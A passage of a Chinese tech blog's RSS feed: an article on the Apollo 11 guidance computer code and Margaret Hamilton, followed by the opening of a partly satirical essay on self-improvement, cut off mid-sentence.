src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>2019年7月20日，是有纪念意义的一天，这天不是因为广大网民帮周杰伦在新浪微博上的超话刷到第一，而是阿波罗登月的50周年的纪念日。早在几年前，在Github上放出了当年Apollo飞船使用的源代码（当然是汇编的），但完全不明白为什么这几天会有一些中国的小朋友到这个github的issue里灌水……，人类历史上这么伟大的一件事，为什么不借这个机会学习一下呢？下面是一些阿波罗登月与程序员相关的小故事，顺着这些东西，你可以把你的周末和精力用得更有价值。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\" size-full alignright\" src=\"https://coolshell.cn/wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766.jpg\" alt=\"\" width=\"400\" height=\"498\" /></p>\n<p>首先，要说的是Apollo 11导航的源代码，这些代码的设计负责人叫<a href=\"https://en.wikipedia.org/wiki/Margaret_Hamilton_(software_engineer)\" target=\"_blank\" rel=\"noopener noreferrer\">Margaret Heafield Hamilton </a>，是一个女程序员，专业是数学和哲学，1960年得到一个MIT麻省理工大学的临时的软件开发职位，负责在PDP-1和LGP-30上运行天气预报的软件（注：在计算机历史上，PDP系统机器被称为Hack文化的重要推手，PDP-11推了Unix操作系统，而Unix操作系统则是黑客文化的重要产品。参看《<a href=\"https://coolshell.cn/articles/2322.html\" target=\"_blank\" rel=\"noopener noreferrer\">Unix传奇</a>》）。然后，她又为美国空军编写探测知敌方飞行的软件，之后，于1965年的时候，她加入了MIT仪器实验室，并成为了这个实验室的主管，这个实验实就是Apollo计划的一部分，她负责编写全新的月球登录的导航软件，以及后来该软件在其他项目中的各个版本。</p>\n<p><span id=\"more-19612\"></span></p>\n<p>上图是Hamilton站在她和她的麻省理工团队为阿波罗项目制作的导航软件源代码旁边，在Github上的开源的代码 &#8211; <a href=\"https://github.com/chrislgarry/Apollo-11\" target=\"_blank\" rel=\"noopener noreferrer\">Apollo-11</a> （2016年开源）。我们可以看到，有两个重要的目录，一个目录叫“Comanche055”，一个目录叫“Luminary099”，前者是指挥舱用的（英文为 <a href=\"https://en.wikipedia.org/wiki/Apollo_command_and_service_module#Command_Module_(CM)\" target=\"_blank\" rel=\"noopener noreferrer\">Command Module</a> ）后者为登月舱用的（英文为 <a href=\"https://en.wikipedia.org/wiki/Apollo_Lunar_Module\" target=\"_blank\" rel=\"noopener noreferrer\">Lunar Module</a>），这里需要说明一下的是，指挥舱是把登录舱推到月球上，在返回的时候，登录舱是被抛弃掉的，而返回到地球的是指挥舱。如果你想看这两份源代码的纸版，你可以访问这两个链接：<a href=\"https://archive.org/details/Comanche55J2k60\" target=\"_blank\" rel=\"noopener noreferrer\">Comanche 55 AGC Program Listing</a> 和 <a href=\"https://archive.org/details/Luminary99001J2k60\" target=\"_blank\" rel=\"noopener noreferrer\">Luminary 99 REv.1 AGC Program Listing</a>。其中的55 和 90 是各自的build 版本号。</p>\n<p>我们细看一下，这些文件的日期是，1969年7月14日，而Apollo 11登月的日期是1969年7月16日起程，7月19日经过月球背面，7月20日下午8点登月。代码写好，两天后就直接上生产，然后就登月，还是导航代码，这代码写的的健壮性得有多强。</p>\n<p>如果你仔细比较一下这两个目录中的文件，你会发现有些文件是一样的，不但文件名一样，而且内容也一样。这说明这两个模块中的一些东西是相似的。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"size-full aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2019/07/source.code_.compare.png\" alt=\"\" width=\"800\" height=\"402\" /></p>\n<p>这些代码应该是很难读了，因为当时写这些代码的时候，C语言都没有被发明，所以基本上来说都是汇编代码了，而且还可以发现，这些代码的源文件全是以agc后缀结尾的， 看来这还不是我们平时所了解的汇编，所谓的AGC代表了运行这些代码的计算机 &#8211;<a href=\"https://en.wikipedia.org/wiki/Apollo_Guidance_Computer\" target=\"_blank\" rel=\"noopener noreferrer\"> Apollo Guideance Computer</a> 。沿着这个Wikipedia的链接，你可以看到AGC这个电脑的指令是什么样的，看懂那几条指令后，这些源代码也就能读懂了。当然，因为是写成汇编的，所以，读起来还是要费点神的。不过，其中有一个文件是 <code><a href=\"https://github.com/chrislgarry/Apollo-11/blob/master/Luminary099/LUNAR_LANDING_GUIDANCE_EQUATIONS.agc\" target=\"_blank\" rel=\"noopener noreferrer\">LUNAR_LANDING_GUIDANCE_EQUATIONS.agc</a></code> 你会不会很好奇想去看看？</p>\n<p>打开源文件，你还可以看到每个文件都有很多很多的注释，非常友好，但是也有一些注释比较有趣。这里有一组短视频带你读这些代码 &#8211; <a href=\"https://www.pluralsight.com/courses/moon-landing-apollo-11\" target=\"_blank\" rel=\"noopener noreferrer\">Exploring the Apollo Guidance Computer(AGC) Code</a>，一供10个小视频，每个2分钟左右，如果你英文听边还行（我觉得很容易听懂），可以看看，了解一下AGC的工作方式，挺有趣意思的。</p>\n<p>当时的AGC有32公斤，主频只有2MHz，2K的RAM，36K的ROM。嗯，当年就是这么一个小玩意，把人送上了月球，今天，一个聊天程序就占内存几GB……</p>\n<p>下面是AGC在Apollo 1指挥舱里的样子（图片截自上面的视频），这个高质量的3D扫描来自<a href=\"https://www.3d.si.edu/explorer/apollo-11-command-module\" target=\"_blank\" rel=\"noopener noreferrer\"> Simithsonian 3D: Apollo 11 Command Module</a> （我觉得美国人干这些事干就是很漂亮啊，这种高清的3D扫描太牛了，如果你仔细看，这个舱里还有宇航员在舱壁上的手写）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full\" src=\"https://coolshell.cn/wp-content/uploads/2019/07/AGC.DSKY_.png\" alt=\"\" width=\"800\" height=\"402\" /></p>\n<p>这个AGC的操作界面又叫DSKY &#8211; Display 和 Keyboard的缩写，下图是一个 AGC 模拟器，其官方主页在 <a href=\"https://www.ibiblio.org/apollo/\" target=\"_blank\" rel=\"noopener noreferrer\">https://www.ibiblio.org/apollo/</a>源代码在 <a href=\"https://github.com/virtualagc/virtualagc\" target=\"_blank\" rel=\"noopener noreferrer\">Github/VirtualAGC</a>。在这个界面上我们可以看到：下面的键盘上左边有两个键，一个是动词Verb一个是名词Noun，Verb指定操作类型，Noun指定要由Verb命令修改的数据。右边的显示器下面有三个5位的数字，这三个数值显示表示航天器姿态的矢量，以及所需速度变化的显示矢量。是的，当年的导航就靠这三个数字和里面的程序了。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full\" src=\"https://coolshell.cn/wp-content/uploads/2019/07/DSKY.png\" alt=\"\" width=\"588\" height=\"669\" /></p>\n<p>&nbsp;</p>\n<p>如果你想了解AGC更多的细节，你可以看看 这篇 <a href=\"http://www.ibiblio.org/apollo/ForDummies.html\" target=\"_blank\" rel=\"noopener noreferrer\">AGC for Dummies</a>。这篇文章讲述了AGC这个嵌入式系统的背景和操作指令。一份详细的<a href=\"http://www.ibiblio.org/apollo/assembly_language_manual.html\" target=\"_blank\" rel=\"noopener noreferrer\">AGC 汇编语言手册</a>可以让你了解更多的细节。</p>\n<p>另外，我在Youtube上找到了一个讲当时Apollo电脑的纪录片 &#8211; <a href=\"https://www.youtube.com/watch?v=9YA7X5we8ng\" target=\"_blank\" rel=\"noopener noreferrer\">Navigation Computer</a>，太有趣了。比如：21分51秒开始讲存储用的 <a href=\"https://en.wikipedia.org/wiki/Core_rope_memory\" target=\"_blank\" rel=\"noopener noreferrer\">Rope Memory</a> 绕线内存，Hamilton 也出来讲了一下在这种内存上编程，画面切到一个人用个比较长的金属针在一个像主板一样的东西上，左右穿梭，就像刺绣一样，但是绣的不是图案，而是程序……太硬核了，真正的通过“硬编织”的方式来写程序。</p>\n<p><a href=\"https://www.youtube.com/watch?v=9YA7X5we8ng\" target=\"_blank\" rel=\"noopener noreferrer\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full\" src=\"https://coolshell.cn/wp-content/uploads/2019/07/rope.memory.png\" alt=\"\" width=\"800\" height=\"497\" /></a></p>\n<p>看完上面这个纪录篇，我是非常之惊叹，惊叹于50年前的工程能力，惊叹于50年前这些人面对技术的的一丝不苟，对技术的尊重和严谨的这种精神和方法，一点都不比较今天差。</p>\n<p>不过，最牛的还不是这个，我在Hamilton的Wikipedia词条上找到了他说的一个事件—— 当年Apollo登陆雷达开关放在了错误的位置，导致AGC收到了不少错误的信号。结果就是AGC既得执行着陆必须的计算，又要接受这些占用其15%时间的额外数据。但是AGC的程序居然可以用高优先级的任务打断低优先级的任务，于是，AGC自动剔除了低级别的任务以保证了重要的任务完成。Hamilton 原话说—— 如果当时的程序不能识别错误并从错误中恢复，我怀疑阿波罗不能成功登月。if the computer hadn&#8217;t recognized this problem and taken recovery action, I doubt if Apollo 11 would have been the successful moon landing it was。</p>\n<p>看到这里，你有没有觉得——“这个女程序员的一小步，是整个人类的一大步”？</p>\n<p>Hamilton 的牛逼之外还在于，她是第一个将“软件工程”提出来的人，在MIT，她想让软件开发就像其它工程一样，有相应的工程纪律，给于相关的尊重，于是她创造了Software Engineering这个词。2018年，<a href=\"https://www.computer.org/csdl/magazine/so/2018/05\" target=\"_blank\" rel=\"noopener noreferrer\">IEEE在纪念软件工程50周年</a>的时候，他们把 Hamilton 请过去讲了一个叫 <a href=\"https://ieeexplore.ieee.org/document/8409915\" target=\"_blank\" rel=\"noopener noreferrer\">What the Errors Tell Us</a> 的主题。她绝对可以称得上是程序员的Pioneer。</p>\n<p>三年前，Apollo的源代码被开源时候，Twitter有个叫 Lin Clark 的人发了一条推：“我妈50年前的代码被放到Github上了”，虽然，她不是 Hamilton 的女儿，但她妈妈也是Apollo其中一个程序员，现在Lin Clark同样也是一个程序员，目前在 Mozilla工作，Staff Engineer，专长 <span class=\"lt-line-clamp__line\">WebAssembly, Rust, 和 JavaScript</span> ，也是个非常厉害的程序，Youtube上各种演讲，也是一个跟他妈妈一样牛的人。</p>\n<p>当她在Twitter上这么自豪地发了一条这样的推后，我不知道各位有什么想法？想不想你的后代在未来也会这样自豪的发条微博？<br />\n<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full\" src=\"https://coolshell.cn/wp-content/uploads/2019/07/Lin-Clark-e1563706128853.jpg\" alt=\"\" width=\"400\" height=\"629\" /></p>\n<p>&nbsp;</p>\n<p>最后，尤其是想对那些到Apollo源代码的issue里发spam垃圾信息的人说一下，你看看人家，再看看你们自己，你们是不是想让你们的孩子在登月100周年纪念的时候说——50年前我爹那个傻叉在Apollo的github的issue列表时写了些垃圾，还以为自己多机灵？！</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/8387.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/10/Learnable_Programming-150x150.jpg\" alt=\"Bret Victor &#8211; Learnable Programming\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8387.html\" class=\"wp_rp_title\">Bret Victor &#8211; Learnable Programming</a></li><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/19612.html\">50年前的登月程序和程序员有多硬核</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/19612.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>70</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>如何超过大多数人</title>\n\t\t<link>https://coolshell.cn/articles/19464.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/19464.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 22 Jun 2019 05:47:57 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=19464</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>当你看到这篇文章的标题，你一定对这篇文章产生了巨大的兴趣，因为你的潜意识在告诉你，这是一本人生的“武林秘籍”，而且还是左耳朵写的，一定有干货满满，只要读完，一定...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/19464.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/19464.html\">如何超过大多数人</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright\" src=\"https://coolshell.cn/wp-content/uploads/2019/06/competition-360x200.png\" alt=\"\" width=\"360\" height=\"200\" />当你看到这篇文章的标题，你一定对这篇文章产生了巨大的兴趣，因为你的潜意识在告诉你，这是一本人生的“武林秘籍”，而且还是左耳朵写的，一定有干货满满，只要读完，一定可以练就神功并找到超过大多数人的快车道和捷径……然而…… 当你看到我这样开篇时，你一定会觉得我马上就要有个转折，告诉你这是不可能的，一切都需要付出和努力……然而，你错了，这篇文章还真就是一篇“秘籍”，只要你把这些“秘籍”用起来，你就一定可以超过大多数人。而且，这篇文章只有我这个“人生导师”可以写得好。毕竟，我的生命过到了十六进制2B的年纪，踏入这个社会已超过20年，舍我其谁呢？！</p>\n<p>P.S. 这篇文章借鉴于《<a href=\"https://coolshell.cn/articles/4758.html\" target=\"_blank\" rel=\"noopener noreferrer\">如何写出无法维护的代码</a>》一文的风格……嘿嘿</p>\n<h4>相关技巧和最佳实践</h4>\n<p>要超过别人其实还是比较简单的，尤其在今天的中国，更是简单。因为，你只看看中国的互联网，你就会发现，他们基本上全部都是在消费大众，让大众变得更为地愚蠢和傻瓜。<strong>所以，在今天的中国，你基本上不用做什么，只需要不使用中国互联网，你就很自然地超过大多数人了</strong>。当然，如果你还想跟他们彻底拉开，甩他们几个身位，把别人打到底层，下面的这些“技巧”你要多多了解一下。<span id=\"more-19464\"></span></p>\n<p>在信息获取上，你要不断地向大众鼓吹下面的这些事：</p>\n<ul>\n<li>让大家都用百度搜索引擎查找信息，订阅微信公众号或是到知乎上学习知识……要做到这一步，你就需要把“百度一下”挂在嘴边，然后要经常在群或朋友圈中转发微信公众号的文章，并且转发知乎里的各种“如何看待……”这样的文章，让他们爱上八卦，爱上转发，爱上碎片。</li>\n<li>让大家到微博或是知识星球上粉一些大咖，密切关注他们的言论和动向……是的，告诉大家，大咖的任何想法一言一行都可以在微博、朋友圈或是知识星球上获得，让大家相信，你的成长和大咖的见闻和闲扯非常有关系，你跟牛人在一个圈子里你也会变牛。</li>\n<li>把今日头条和抖音这样的APP推荐给大家……你只需要让你有朋友成功地安装这两个APP，他们就会花大量的时间在上面，而不能自拔，要让他们安装其实还是很容易的，你要不信你就装一个试玩一会看看（嘿嘿嘿）。</li>\n<li>让大家热爱八卦，八卦并不一定是明星的八卦，还可以是你身边的人，比如，公司的同事，自己的同学，职场见闻，社会热点，争议话题，……这些东西总有一些东西会让人心态有很多微妙的变化，甚至花大量的时间去搜索和阅读大量的观点，以及花大量时间与人辩论争论，这个过程会让人上瘾，让人欲罢不能，然而这些事却和自己没有半毛钱关系。你要做的事就是转发其中一些SB或是很极端的观点，造成大家的一睦讨论后，就早早离场……</li>\n<li>利用爱国主义，让大家觉得不用学英文，不要出国，不要翻墙，咱们已经是强国了……这点其实还是很容易做到的，因为学习是比较逆人性的，所以，只要你鼓吹那些英文无用论，出国活得更惨，国家和民族都变得很强大，就算自己过得很底层，也有大国人民的感觉。</li>\n</ul>\n<p>然后，在知识学习和技能训练上，让他们不得要领并产生幻觉</p>\n<ul>\n<li>让他们混淆认识和知识，以为开阔认知就是学习，让他们有学习和成长的幻觉……</li>\n<li>培养他们要学会使用碎片时间学习。等他们习惯利用碎片时间吃快餐后，他们就会失去精读一本书的耐性……</li>\n<li>不断地给他们各种各样“有价值的学习资料”，让他们抓不住重点，成为一个微信公众号或电子书“收藏家”……</li>\n<li>让他们看一些枯燥无味的基础知识和硬核知识，这样让他们只会用“死记硬背”的方式来学习，甚至直接让他们失去信心，直接放弃……</li>\n<li>玩具手枪是易用的，重武器是难以操控的，多给他们一些玩具，这样他们就会对玩具玩地得心应手，觉得玩玩具就是自己的专业……</li>\n<li>让他们喜欢直接得到答案的工作和学习方式，成为一个伸手党，从此学习再也不思考……</li>\n<li>告诉他们东西做出来就好了，不要追求做漂亮，做优雅，这样他们就会慢慢地变成劳动密集型……</li>\n<li>让他们觉得自己已经很努力了，剩下的就是运气，并说服他们去‘及时行乐’，然后再也找不到高阶和高效率学习的感觉……</li>\n<li>让他们觉得“读完书”、“读过书”就行了，不需要对书中的东西进行思考，进行总结，或是实践，只要囫囵吞枣尽快读完就等同于学好了……</li>\n</ul>\n<p>最后，在认知和格局上，彻底打垮他们，让他们变成韭菜。</p>\n<ul>\n<li>让他们尽可能地用拼命和加班，尽可能的996，并告诉他们这就是通往成功的唯一路径。这样一来，他们必然会被永远困在低端成为最低的劳动力。</li>\n<li>让他们不要看到大的形势，只看到眼前的一亩三分地，做好一个井底之蛙。其实这很简单，就是不要告诉他还有另外一种活法，不要扩大他的认识……</li>\n<li>宣扬一夜暴富以及快速挣钱的案例，最好让他们进入“赌博类”或是“传销类”的地方，比如：股市、数字货币……要让他们相信各种财富神话，相信他们就是那个幸运儿，他们也可以成为巴菲特，可以成为马云……</li>\n<li>告诉他们，一些看上去很难的事都是有捷径的，比如：21天就能学会机器学习，用区块链就能颠覆以及重构整个世界等等……</li>\n<li>多跟他们讲一些小人物的励志的故事，这样让他们相信，不需要学习高级知识，不需要掌握高级技能，只需要用低等的知识和低级的技能，再加上持续不断拼命重复现有的工作，终有一天就会成功……</li>\n<li>多让他们跟别人比较，人比人不会气死人，但是会让人变得浮躁，变得心急，变得焦虑，当一个人没有办法控制自己的情绪，没有办法让自己静下心来，人会失去耐性和坚持，开始好大喜欢功，开始装逼，开始歪门邪道剑走偏锋……</li>\n<li>让他们到体制内的一些非常稳定的地方工作，这样他们拥有不思进取、怕承担责任、害怕犯错、喜欢偷懒、得过且过的素质……</li>\n<li>让他们到体制外的那些喜欢拼命喜欢加班的地方工作，告诉他们爱拼才会赢，努力加班是一种福报，青春就是用来拼的，让他们喜欢上使蛮力的感觉……</li>\n<li>告诉他们你的行业太累太辛苦，干不到30岁。让他们早点转行，不要耽误人生和青春……</li>\n<li>当他们要做决定的时候，一定要让他们更多的关注自己会失去的东西，而不是会得到的东西。培养他们患得患失心态，让他们认识不到事物真正的价值，失去判断能力……（比如：让他们觉得跟对人拍领导的马屁忠于公司比自我的成长更有价值）</li>\n<li>告诉他们，你现有的技能和知识不用更新，就能过好一辈子，新出来的东西没有生命力的……这样他们就会像我们再也不学习的父辈一样很快就会被时代所抛弃……</li>\n<li>每个人都喜欢在一些自己做不到的事上找理由，这种能力不教就会，比如，事情太多没有时间，因为工作上没有用到，等等，你要做的就是帮他们为他们做不到的事找各种非常合理的理由，比如：没事的，一切都是最好的安排；你得不到的那个事没什么意思；你没有面好主要原因是那个面试官问的问题都是可以上网查得到的知识，而不没有问到你真正的能力上；这些东西学了不用很快会忘了，等有了环境再学也不迟……</li>\n</ul>\n<p><strong>最后友情提示一下，上述的这些“最佳实践”你要小心，是所谓，贩毒的人从来不吸毒，开赌场的人从来不赌博！所以，你要小心别自己也掉进去了！这就是“欲练神功，必先自宫”的道理。</strong></p>\n<h4>相关原理和思维模型</h4>\n<p>对于上面的这些技巧还有很多很多，你自己也可以发明或是找到很多。所以，我来讲讲这其中的一些原理。</p>\n<p>一般来说，超过别人一般来说就是两个维度：</p>\n<ol>\n<li><strong>在认知、知识和技能上</strong>。这是一个人赖以立足社会的能力（参看《<a href=\"https://coolshell.cn/articles/4235.html\" target=\"_blank\" rel=\"noopener noreferrer\">程序员的荒谬之言还是至理名言？</a>》和《<a href=\"https://coolshell.cn/articles/2250.html\" target=\"_blank\" rel=\"noopener noreferrer\">21天教你学会C++</a>》）</li>\n<li><strong>在领导力上</strong>。所谓领导力就是你跑在别人前面，你得要有比别人更好的能力更高的标准（参看《<a href=\"https://coolshell.cn/articles/17583.html\" target=\"_blank\" rel=\"noopener noreferrer\">技术人员发展之路</a>》）</li>\n</ol>\n<p>首先，我们要明白，人的技能是从认识开始，然后通过学校、培训或是书本把“零碎的认知”转换成“系统的知识”，而有要把知识转换成技能，就需要训练和实践，这样才能完成从：认识 -&gt; 知识 -&gt; 技能 的转换。这个转换过程是需要耗费很多时间和精力的，而且其中还需要有强大的学习能力和动手能力，这条路径上有很多的“关卡”，每道关卡都会过滤掉一大部分人。比如：对于一些比较枯燥的硬核知识来说，90%的人基本上就倒下来，不是因为他们没有智商，而是他们没有耐心。</p>\n<h5>认知</h5>\n<p>要在认知上超过别人，就要在下面几个方面上做足功夫：</p>\n<p>1）<strong>信息渠道</strong>。试想如果别人的信息源没有你的好，那么，这些看不见信息源的人，只能接触得到二手信息甚至三手信息，只能获得被别人解读过的信息，这些信息被三传两递后必定会有错误和失真，甚至会被传递信息的中间人hack其中的信息（也就是“中间人攻击”），而这些找不出信息源的人，只能“被人喂养”，于是，他们最终会被困在信息的底层，永世不得翻身。（比如：学习C语言，放着原作者K&amp;R的不用，硬要用错误百出谭浩强的书，能有什么好呢？）</p>\n<p>2）<strong>信息质量</strong>。信息质量主要表现在两个方面，一个是信息中的燥音，另一个是信息中的质量等级，我们都知道，在大数据处理中有一句名言，叫 garbage in garbage out，你天天看的都是垃圾，你的思想和认识也只有垃圾。所以，如果你的信息质量并不好的话，你的认知也不会好，而且你还要花大量的时间来进行有价值信息的挖掘和处理。</p>\n<p>3）<strong>信息密度</strong>。优质的信息，密度一般都很大，因为这种信息会逼着你去干这么几件事，a）搜索并学习其关联的知识，b）沉思和反省，c）亲手去推理、验证和实践……一般来说，经验性的文章会比知识性的文章会更有这样的功效。比如，类似于像 Effiective C++/Java，设计模式，Unix编程艺术，算法导论等等这样的书就是属于这种密度很大的书，而像<a href=\"https://medium.com/netflix-techblog\" target=\"_blank\" rel=\"noopener noreferrer\">Netflix的官方blog</a>和<a href=\"https://www.allthingsdistributed.com/\" target=\"_blank\" rel=\"noopener noreferrer\">AWS CTO的blog</a>等等地方也会经常有一些这样的文章。</p>\n<h5>知识</h5>\n<p>要在知识上超过别人，你就需要在下面几个方面上做足功夫：</p>\n<p>1）<strong>知识树（图）</strong>。任何知识，只在点上学习不够的，需要在面上学习，这叫系统地学习，这需要我们去总结并归纳知识树或知识图，一个知识面会有多个知识板块组成，一个板块又有各种知识点，一个知识点会导出另外的知识点，各种知识点又会交叉和依赖起来，学习就是要系统地学习整个知识树（图）。而我们都知道，<strong>对于一棵树来说，“根基”是非常重要的，所以，学好基础知识也是非常重要的，对于一个陌生的地方，有一份地图是非常重要的，没有地图的你只会乱窜，只会迷路、练路、走冤枉路！</strong></p>\n<p>2）<strong>知识缘由</strong>。任何知识都是有缘由的，了解一个知识的来龙去脉和前世今生，会让你对这个知识有非常强的掌握，而不再只是靠记忆去学习。靠记忆去学习是一件非常糟糕的事。而对于一些操作性的知识（不需要了解由来的），我把其叫操作知识，就像一些函数库一样，这样的知识只要学会查文档就好了。<strong>能够知其然，知其所以然的人自然会比识知识到表皮的人段位要高很多。</strong></p>\n<p>3）<strong>方法套路</strong>。学习不是为了找到答案，而是找到方法。就像数学一样，你学的是方法，是解题思路，是套路，会用方程式解题的和不会用方程式解题的在解题效率上不可比较，而在微积分面前，其它的解题方法都变成了渣渣。<strong>你可以看到，掌握高级方法的人比别人的优势有多大，学习的目的就是为了掌握更为高级的方法和解题思路</strong>。</p>\n<h5>技能</h5>\n<p>要在技能上超过别人，你就需要在下面几个方面做足功夫：</p>\n<p>1）<strong>精益求精</strong>。如果你想拥有专业的技能，你要做不仅仅是拼命地重复一遍又一遍的训练，而是在每一次重复训练时你都要找到更好的方法，总结经验，让新的一遍能够更好，更漂亮，更有效率，否则，用相同的方法重复，那你只不过在搬砖罢了。</p>\n<p>2）<strong>让自己犯错</strong>。犯错是有利于成长的，这是因为出错会让人反思，反思更好的方法，反思更完美的方案，总结教训，寻求更好更完美的过程，是技能升级的最好的方式。尤其是当你在出错后，被人鄙视，被人嘲笑后，你会有更大的动力提升自己，这样的动力才是进步的源动力。当然，千万不要同一个错误重复地犯！</p>\n<p>3）<strong>找高手切磋</strong>。下过棋，打个球的人都知道，你要想提升自己的技艺，你必需找高手切磋，在和高手切磋的过程中你会感受到高手的技能和方法，有时候你会情不自禁地哇地一下，我靠，还可以这么玩！</p>\n<h5>领导力</h5>\n<p>最后一个是领导力，要有领导力或是影响力这个事并不容易，这跟你的野心有多大，好胜心有多强 ，你愿意付出多少很有关系，因为一个人的领导力跟他的标准很有关系，因为有领导力的人的标准比绝大多数人都要高。</p>\n<p>1）<strong>识别自己的特长和天赋</strong>。首先，每个人DNA都可能或多或少都会有一些比大多数人NB的东西（当然，也可能没有），如果你有了，那么在你过去的人生中就一定会表现出来了，就是那种大家遇到这个事会来请教你的寻求你帮助的现象。那种，别人要非常努力，而且毫不费劲的事。一旦你有了这样的特长或天赋，那你就要大力地扩大你的领先优势，千万不要进到那些会限制你优势的地方。你是一条鱼，你就一定要把别人拉到水里来玩，绝对不要去陆地上跟别人拼，不断地在自己的特长和天赋上扩大自己的领先优势，彻底一骑绝尘。</p>\n<p>2）<strong>识别自己的兴趣和事业</strong>。没有天赋也没有问题，还有兴趣点，都说兴趣是最好的老师，当年，Linus就是在学校里对minx着迷了，于是整出个Linux来，这就是兴趣驱动出的东西，一般来说，兴趣驱动的事总是会比那些被动驱动的更好。但是，这里我想说明一下什么叫“真∙兴趣”，真正的兴趣不是那种三天热度的东西，而是那种，你愿意为之付出一辈子的事，是那种无论有多大困难有多难受你都要死磕的事，这才是“真∙兴趣”，这也就是你的“野心”和“好胜心”所在，其实上升到了你的事业。相信我，绝大多数人只有职业而没有事业的。</p>\n<p>3）<strong>建立高级的习惯和方法</strong>。没有天赋没有野心，也还是可以跟别人拼习惯拼方法的，只要你有一些比较好的习惯和方法，那么你一样可以超过大多数人。对此，在习惯上你要做到比较大多数人更自律，更有计划性，更有目标性，比如，每年学习一门新的语言或技术，并可以参与相关的顶级开源项目，每个月训练一个类算法，掌握一种算法，每周阅读一篇英文论文，并把阅读笔记整理出来……自律的是非常可怕的。除此之外，你还需要在方法上超过别人，你需要满世界的找各种高级的方法，其中包括，思考的方法，学习的方法、时间管理的方法、沟通的方法这类软实力的，还有，解决问题的方法（trouble shooting 和 problem 